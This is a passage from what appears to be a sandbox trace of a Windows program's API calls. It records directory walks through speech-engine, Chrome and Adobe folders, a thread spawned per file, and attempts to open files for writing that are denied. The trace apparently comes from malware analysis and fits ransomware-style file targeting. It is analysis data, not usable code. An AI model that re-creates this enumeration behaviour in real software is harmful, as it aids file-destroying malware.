(x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.719] wcscat (in: _Dest=0x8f6870, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.719] wcscat (in: _Dest=0x8f6870, _Source="M1033DSK.CSD" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD" [0145.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf84 [0145.720] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9b2cc, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7d9b2cc, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c93477c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2059c, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.IDX", cAlternateFileName="")) returned 1 [0145.720] wcscmp (_String1="M1033DSK.IDX", _String2=".") returned 1 [0145.720] wcscmp (_String1="M1033DSK.IDX", _String2="..") returned 1 [0145.720] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e0d6e9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7e0d6e9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7da2a43c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe3770, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.LTS", cAlternateFileName="")) returned 1 [0145.720] wcscmp (_String1="M1033DSK.LTS", _String2=".") returned 1 [0145.720] wcscmp (_String1="M1033DSK.LTS", _String2="..") returned 1 [0145.720] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x9bfcf8 [0145.720] wcscpy (in: _Dest=0x9bfcf8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.720] wcscat (in: _Dest=0x9bfcf8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.720] wcscat (in: _Dest=0x9bfcf8, _Source="M1033DSK.LTS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS" [0145.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9bfcf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf88 [0145.721] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8a49f, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7f8a49f, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dc3f77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2515b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.TTS", cAlternateFileName="")) returned 1 [0145.721] wcscmp (_String1="M1033DSK.TTS", _String2=".") returned 1 [0145.721] wcscmp (_String1="M1033DSK.TTS", _String2="..") returned 1 [0145.721] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x9bfdc0 [0145.721] wcscpy (in: _Dest=0x9bfdc0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.721] wcscat (in: _Dest=0x9bfdc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.722] wcscat (in: _Dest=0x9bfdc0, _Source="M1033DSK.TTS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS" [0145.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9bfdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c [0145.723] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc812d3b4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc812d3b4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dcfde5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UDT", cAlternateFileName="")) returned 1 [0145.723] wcscmp (_String1="M1033DSK.UDT", _String2=".") returned 1 [0145.723] wcscmp (_String1="M1033DSK.UDT", _String2="..") returned 1 [0145.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x9bfe88 [0145.723] wcscpy (in: _Dest=0x9bfe88, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.723] wcscat (in: _Dest=0x9bfe88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.723] wcscat (in: _Dest=0x9bfe88, _Source="M1033DSK.UDT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT" [0145.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9bfe88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90 [0145.724] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8153513, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc8153513, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7df1319c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x308e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UNT", cAlternateFileName="")) returned 1 [0145.724] wcscmp (_String1="M1033DSK.UNT", _String2=".") returned 1 [0145.724] wcscmp (_String1="M1033DSK.UNT", _String2="..") returned 1 [0145.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8f6c90 [0145.724] wcscpy (in: _Dest=0x8f6c90, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.724] wcscat (in: _Dest=0x8f6c90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.724] wcscat (in: _Dest=0x8f6c90, _Source="M1033DSK.UNT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT" [0145.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94 [0145.726] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 1 [0145.726] wcscmp (_String1="M1033DSK.WIH", _String2=".") returned 1 [0145.726] wcscmp (_String1="M1033DSK.WIH", _String2="..") returned 1 [0145.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8f6d58 [0145.726] wcscpy (in: _Dest=0x8f6d58, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0145.726] wcscat (in: _Dest=0x8f6d58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\" [0145.726] wcscat (in: _Dest=0x8f6d58, _Source="M1033DSK.WIH" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH" [0145.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f6d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98 [0145.727] FindNextFileW (in: hFindFile=0x9425f0, lpFindFileData=0x907778 | out: lpFindFileData=0x907778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 0 [0145.727] FindClose (in: hFindFile=0x9425f0 | out: hFindFile=0x9425f0) returned 1 [0145.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907778) returned 1 [0145.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97ad08) returned 1 [0145.728] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934d08) returned 1 Thread: id = 2043 os_tid = 0xc70 [0142.566] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\docs.crx")) returned 0x20 [0143.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx", dwFileAttributes=0x20) returned 0 [0143.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\docs.crx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.434] GetLastError () returned 0x5 [0143.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx", dwFileAttributes=0x20) returned 0 [0143.435] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f40a0) returned 1 Thread: id = 2044 os_tid = 0xc74 [0142.566] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\drive.crx")) returned 0x20 [0143.435] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx", dwFileAttributes=0x20) returned 0 [0143.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\drive.crx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.436] GetLastError () returned 0x5 [0143.436] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\drive.crx", dwFileAttributes=0x20) returned 0 [0143.436] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4158) returned 1 Thread: id = 2045 os_tid = 0xc78 [0142.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\external_extensions.json")) returned 0x20 [0143.021] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json", dwFileAttributes=0x20) returned 0 [0143.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\external_extensions.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.021] GetLastError () returned 0x5 [0143.021] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\external_extensions.json", dwFileAttributes=0x20) returned 0 [0143.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dcc58) returned 1 Thread: id = 2046 os_tid = 0xc7c [0142.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\gmail.crx")) returned 0x20 [0142.959] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx", dwFileAttributes=0x20) returned 0 [0142.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\gmail.crx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.959] GetLastError () returned 0x5 [0142.959] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\gmail.crx", dwFileAttributes=0x20) returned 0 [0142.959] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4210) returned 1 Thread: id = 2047 os_tid = 0xc80 [0142.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\youtube.crx")) returned 0x20 [0142.960] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx", dwFileAttributes=0x20) returned 0 [0142.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\default_apps\\youtube.crx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0142.960] GetLastError () returned 0x5 [0142.960] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\youtube.crx", dwFileAttributes=0x20) returned 0 [0142.960] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f42c8) returned 1 Thread: id = 2048 os_tid = 0xc84 [0142.568] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6908 [0142.568] wcscpy (in: _Dest=0x8e6908, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0142.568] wcscat (in: _Dest=0x8e6908, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0142.568] wcscat (in: _Dest=0x8e6908, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*" [0142.568] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x905a98 [0142.568] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9e90 [0143.022] wcscmp (_String1=".", _String2=".") returned 0 [0143.022] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.023] wcscmp (_String1="..", _String2=".") returned 1 [0143.023] wcscmp (_String1="..", _String2="..") returned 0 [0143.023] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0143.023] wcscmp (_String1="rdrmessage.zip", _String2=".") returned 1 [0143.023] wcscmp (_String1="rdrmessage.zip", _String2="..") returned 1 [0143.023] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b758 [0143.023] wcscpy (in: _Dest=0x97b758, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0143.023] wcscat (in: _Dest=0x97b758, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0143.023] wcscat (in: _Dest=0x97b758, _Source="rdrmessage.zip" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" [0144.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97b758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0144.834] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0144.834] wcscmp (_String1="ReaderMessages", _String2=".") returned 1 [0144.834] wcscmp (_String1="ReaderMessages", _String2="..") returned 1 [0144.834] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97bcd8 [0144.834] wcscpy (in: _Dest=0x97bcd8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0144.834] wcscat (in: _Dest=0x97bcd8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0144.834] wcscat (in: _Dest=0x97bcd8, _Source="ReaderMessages" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" [0144.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97bcd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88 [0144.835] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x905a98 | out: lpFindFileData=0x905a98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0144.835] wcscmp (_String1="Search", _String2=".") returned 1 [0144.835] wcscmp (_String1="Search", _String2="..") returned 1 [0144.835] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9ae748 [0144.835] wcscpy (in: _Dest=0x9ae748, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0" [0144.835] wcscat (in: _Dest=0x9ae748, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\" [0144.835] wcscat (in: _Dest=0x9ae748, _Source="Search" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search" [0144.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ae748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c [0144.836] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x905a98 | out: 